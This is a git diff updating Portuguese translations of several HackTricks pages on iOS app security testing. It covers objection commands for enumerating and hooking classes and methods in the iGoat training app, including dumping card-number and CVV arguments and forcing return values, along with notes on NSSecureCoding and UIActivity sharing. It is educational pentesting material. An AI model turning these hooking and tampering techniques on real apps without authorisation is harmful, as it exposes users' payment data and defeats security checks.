@ -40,20 +41,20 @@ LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
## Listar Bundles, frameworks e bibliotecas
* `ios bundles list_bundles`: Lista os bundles da aplicação
* `ios bundles list_bundles`: Listar bundles do aplicativo
```bash
ios bundles list_bundles
Executable Bundle Version Path
Executável Bundle Versão Caminho
------------ -------------------- --------- -------------------------------------------
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
```
* `ios bundles list_frameworks`: Lista os frameworks externos usados pela aplicação
* `ios bundles list_frameworks`: Listar frameworks externos usados pelo aplicativo
```bash
ios bundles list_frameworks
Executable Bundle Version Path
Executável Bundle Versão Caminho
------------------------------ -------------------------------------------- ---------- -------------------------------------------
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
...vateFrameworks/CoreDuetContext.framework
@ -76,11 +77,11 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
[..]
```
* `memory list modules`: Lista os módulos carregados na memória
* `memory list modules`: Listar módulos carregados na memória
```bash
memory list modules
Name Base Size Path
Nome Base Tamanho Caminho
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
@ -96,29 +97,29 @@ libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/
```bash
memory list exports iGoat-Swift
Type Name Address
Tipo Nome Endereço
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
variable _mh_execute_header 0x104ffc000
function _mdictof 0x10516cb88
function _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
function _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
function _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
function _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
function _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
function _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
function _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
function _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
variável _mh_execute_header 0x104ffc000
função _mdictof 0x10516cb88
função _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
função _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
função _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
função _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
função _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
função _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
função _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
função _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
função _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
função _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
variável _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
variável _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
variável _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
[..]
```
## Listar classes de uma APP
## Listar classes de um APP
* `ios hooking list classes`: Lista as classes da app
* `ios hooking list classes`: Listar classes do aplicativo
```bash
ios hooking list classes
@ -133,9 +134,10 @@ AAAccountManager
AAAddEmailUIRequest
AAAppleIDSettingsRequest
AAAppleTVRequest
AAAttestationSigner
[...]
```
* `ios hooking search classes <search_term>`: Procura uma classe que contenha uma string. Podes **procurar por um termo único relacionado com o nome do pacote principal da app** para encontrar as principais classes da app como no exemplo:
* `ios hooking search classes <search_term>`: Pesquisar uma classe que contém uma string. Você pode **pesquisar algum termo único que esteja relacionado ao nome do pacote principal do aplicativo** para encontrar as principais classes do aplicativo, como no exemplo:
```bash
ios hooking search classes iGoat
@ -155,7 +157,7 @@ iGoat_Swift.MemoryManagementVC
## Listar métodos de classe
* `ios hooking list class_methods`: Lista os métodos de uma classe específica
* `ios hooking list class_methods`: Listar métodos de uma classe específica
```bash
ios hooking list class_methods iGoat_Swift.RCreditInfo
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
- initWithValue:
- setCardNumber:
```
* `ios hooking search methods <search_term>`: Procura um método que contenha uma string
* `ios hooking search methods <search_term>`: Pesquisar um método que contém uma string
```bash
ios hooking search methods cvv
@ -188,19 +190,19 @@ ios hooking search methods cvv
# Hooking Básico
Agora que **enumeraste as classes e módulos** usados pela aplicação, podes ter encontrado alguns **nomes de classes e métodos interessantes**.
Agora que você **enumerou as classes e módulos** usados pelo aplicativo, pode ter encontrado alguns **nomes de classes e métodos interessantes**.
## Hook em todos os métodos de uma classe
## Hooking todos os métodos de uma classe
* `ios hooking watch class <class_name>`: Faz hook em todos os métodos de uma classe, faz dump de todos os parâmetros iniciais e retornos
* `ios hooking watch class <class_name>`: Hook todos os métodos de uma classe, despeje todos os parâmetros iniciais e retornos
```bash
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
```
## Hook em um único método
## Hooking um único método
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Faz hook num método específico de uma classe, fazendo dump dos parâmetros, backtraces e retornos do método sempre que é chamado
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook um método específico de uma classe despejando os parâmetros, backtraces e retornos do método cada vez que é chamado
```bash
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
@ -208,13 +210,13 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse
## Alterar Retorno Booleano
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Isto fará com que o método selecionado retorne o booleano indicado
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Isso fará com que o método selecionado retorne o booleano indicado
```bash
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
```
## Gerar modelo de hooking
## Gerar template de hooking
* `ios hooking generate simple <class_name>`:
@ -262,3 +264,19 @@ console.log('Leaving - setCvv:');
},
});
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
# Manipuladores de Protocolo WebView

View file

@ -1,22 +1,23 @@
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Código e mais informações em [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## Serialização de Objetos no Desenvolvimento iOS
No iOS, a **serialização de objetos** envolve a conversão de objetos em um formato que pode ser facilmente armazenado ou transmitido, e depois reconstruí-los a partir desse formato quando necessário. Dois protocolos principais, **`NSCoding`** e **`NSSecureCoding`**, facilitam esse processo para subclasses Objective-C ou `NSObject`, permitindo que objetos sejam serializados em **`NSData`**, um formato que envolve buffers de bytes.
Em iOS, **serialização de objetos** envolve converter objetos em um formato que pode ser facilmente armazenado ou transmitido, e então reconstruí-los a partir desse formato quando necessário. Dois protocolos principais, **`NSCoding`** e **`NSSecureCoding`**, facilitam esse processo para subclasses de Objective-C ou `NSObject`, permitindo que objetos sejam serializados em **`NSData`**, um formato que envolve buffers de bytes.
### Implementação de **`NSCoding`**
Para implementar `NSCoding`, uma classe deve herdar de `NSObject` ou ser marcada como `@objc`. Este protocolo exige a implementação de dois métodos para codificar e decodificar variáveis de instância:
@ -37,7 +38,7 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
```
### **Aprimorando a Segurança com `NSSecureCoding`**
Para mitigar vulnerabilidades onde atacantes injetam dados em objetos já construídos, o **`NSSecureCoding`** oferece um protocolo aprimorado. Classes que se conformam com `NSSecureCoding` devem verificar o tipo de objetos durante a decodificação, garantindo que apenas os tipos de objetos esperados sejam instanciados. No entanto, é crucial observar que, enquanto o `NSSecureCoding` aprimora a segurança de tipos, ele não criptografa dados ou garante sua integridade, sendo necessárias medidas adicionais para proteger informações sensíveis:
Para mitigar vulnerabilidades onde atacantes injetam dados em objetos já construídos, **`NSSecureCoding`** oferece um protocolo aprimorado. Classes que conformam com `NSSecureCoding` devem verificar o tipo de objetos durante a decodificação, garantindo que apenas os tipos de objetos esperados sejam instanciados. No entanto, é crucial notar que, embora `NSSecureCoding` aprimore a segurança de tipo, não criptografa dados nem garante sua integridade, necessitando de medidas adicionais para proteger informações sensíveis:
```swift
static var supportsSecureCoding: Bool {
return true
@ -45,42 +46,42 @@ return true
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
## Arquivamento de Dados com `NSKeyedArchiver`
## Armazenamento de Dados com `NSKeyedArchiver`
`NSKeyedArchiver` e seu contraparte, `NSKeyedUnarchiver`, permitem codificar objetos em um arquivo e posteriormente recuperá-los. Esse mecanismo é útil para persistir objetos:
```swift
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
```
### Usando `Codable` para Serialização Simplificada
O protocolo `Codable` do Swift combina `Decodable` e `Encodable`, facilitando a codificação e decodificação de objetos como `String`, `Int`, `Double`, etc., sem esforço adicional:
O protocolo `Codable` do Swift combina `Decodable` e `Encodable`, facilitando a codificação e decodificação de objetos como `String`, `Int`, `Double`, etc., sem esforço extra:
```swift
struct CustomPointStruct: Codable {
var x: Double
var name: String
}
```
Esta abordagem suporta a serialização direta para e a partir de listas de propriedades e JSON, aprimorando o manuseio de dados em aplicativos Swift.
Esta abordagem suporta a serialização direta de e para listas de propriedades e JSON, melhorando o manuseio de dados em aplicações Swift.
## Alternativas de Codificação JSON e XML
Além do suporte nativo, várias bibliotecas de terceiros oferecem capacidades de codificação/decodificação JSON e XML, cada uma com suas próprias características de desempenho e considerações de segurança. É imperativo selecionar cuidadosamente essas bibliotecas, especialmente para mitigar vulnerabilidades como ataques XXE (Entidades Externas XML) configurando os analisadores para evitar o processamento de entidades externas.
Além do suporte nativo, várias bibliotecas de terceiros oferecem capacidades de codificação/decodificação JSON e XML, cada uma com suas próprias características de desempenho e considerações de segurança. É imperativo selecionar cuidadosamente essas bibliotecas, especialmente para mitigar vulnerabilidades como ataques XXE (XML External Entities) configurando os analisadores para evitar o processamento de entidades externas.
### Considerações de Segurança
Ao serializar dados, especialmente para o sistema de arquivos, é essencial estar atento à possível inclusão de informações sensíveis. Dados serializados, se interceptados ou manipulados de forma inadequada, podem expor aplicativos a riscos como ações não autorizadas ou vazamento de dados. Recomenda-se criptografar e assinar dados serializados para aumentar a segurança.
Ao serializar dados, especialmente para o sistema de arquivos, é essencial estar atento à possível inclusão de informações sensíveis. Dados serializados, se interceptados ou manuseados de forma inadequada, podem expor aplicações a riscos como ações não autorizadas ou vazamento de dados. Recomenda-se criptografar e assinar dados serializados para aumentar a segurança.
## Referências
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Compartilhamento de UIActivity iOS
# iOS UIActivity Sharing
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Compartilhamento de UIActivity Simplificado
# UIActivity Sharing Simplificado
A partir do iOS 6, aplicativos de terceiros foram habilitados para **compartilhar dados** como texto, URLs ou imagens usando mecanismos como o AirDrop, conforme descrito no [guia de Comunicação entre Apps da Apple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Essa funcionalidade se manifesta por meio de uma _folha de atividade de compartilhamento_ em todo o sistema que aparece ao interagir com o botão "Compartilhar".
A partir do iOS 6, aplicativos de terceiros foram habilitados a **compartilhar dados** como texto, URLs ou imagens usando mecanismos como AirDrop, conforme descrito no [guia de Comunicação entre Aplicativos](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) da Apple. Esse recurso se manifesta através de uma _tela de atividade de compartilhamento_ que aparece ao interagir com o botão "Compartilhar".
Uma enumeração abrangente de todas as opções de compartilhamento integradas está disponível em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Os desenvolvedores podem optar por excluir opções de compartilhamento específicas se as considerarem inadequadas para seu aplicativo.
Uma enumeração abrangente de todas as opções de compartilhamento integradas está disponível em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Os desenvolvedores podem optar por excluir opções de compartilhamento específicas se considerarem inadequadas para seu aplicativo.
## **Como Compartilhar Dados**
@ -26,21 +27,21 @@ A atenção deve ser direcionada para:
- A natureza dos dados sendo compartilhados.
- A inclusão de atividades personalizadas.
- A exclusão de certos tipos de atividades.
- A exclusão de certos tipos de atividade.
O compartilhamento é facilitado por meio da instanciação de um `UIActivityViewController`, para o qual os itens destinados ao compartilhamento são passados. Isso é alcançado chamando:
O compartilhamento é facilitado através da instanciação de um `UIActivityViewController`, ao qual os itens destinados ao compartilhamento são passados. Isso é alcançado chamando:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
Desenvolvedores devem examinar o `UIActivityViewController` para as atividades e atividades personalizadas com as quais ele é inicializado, bem como quaisquer `excludedActivityTypes` especificados.
Os desenvolvedores devem examinar o `UIActivityViewController` para as atividades e atividades personalizadas com as quais ele é inicializado, bem como quaisquer `excludedActivityTypes` especificados.
## **Como Receber Dados**
Os seguintes aspectos são cruciais ao receber dados:
- A declaração de **tipos de documento personalizados**.
- A especificação dos **tipos de documento que o aplicativo pode abrir**.
- A declaração de **tipos de documentos personalizados**.
- A especificação de **tipos de documentos que o aplicativo pode abrir**.
- A verificação da **integridade dos dados recebidos**.
Sem acesso ao código-fonte, ainda é possível inspecionar o `Info.plist` em busca de chaves como `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` e `CFBundleDocumentTypes` para entender os tipos de documentos que um aplicativo pode manipular e declarar.
@ -49,30 +50,31 @@ Um guia sucinto sobre essas chaves está disponível no [Stackoverflow](https://
## Abordagem de Teste Dinâmico
Para testar **envio de atividades**, pode-se:
Para testar **atividades de envio**, pode-se:
- Conectar-se ao método `init(activityItems:applicationActivities:)` para capturar os itens e atividades sendo compartilhados.
- Conectar-se ao método `init(activityItems:applicationActivities:)` para capturar os itens e atividades que estão sendo compartilhados.
- Identificar atividades excluídas interceptando a propriedade `excludedActivityTypes`.
Para **receber itens**, envolve:
- Compartilhar um arquivo com o aplicativo de outra fonte (por exemplo, AirDrop, e-mail) que solicita a caixa de diálogo "Abrir com...".
- Conectar `application:openURL:options:` entre outros métodos identificados durante a análise estática para observar a resposta do aplicativo.
- Utilizar arquivos malformados ou técnicas de fuzzing para avaliar a robustez do aplicativo.
- Empregar arquivos malformados ou técnicas de fuzzing para avaliar a robustez do aplicativo.
## Referências
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
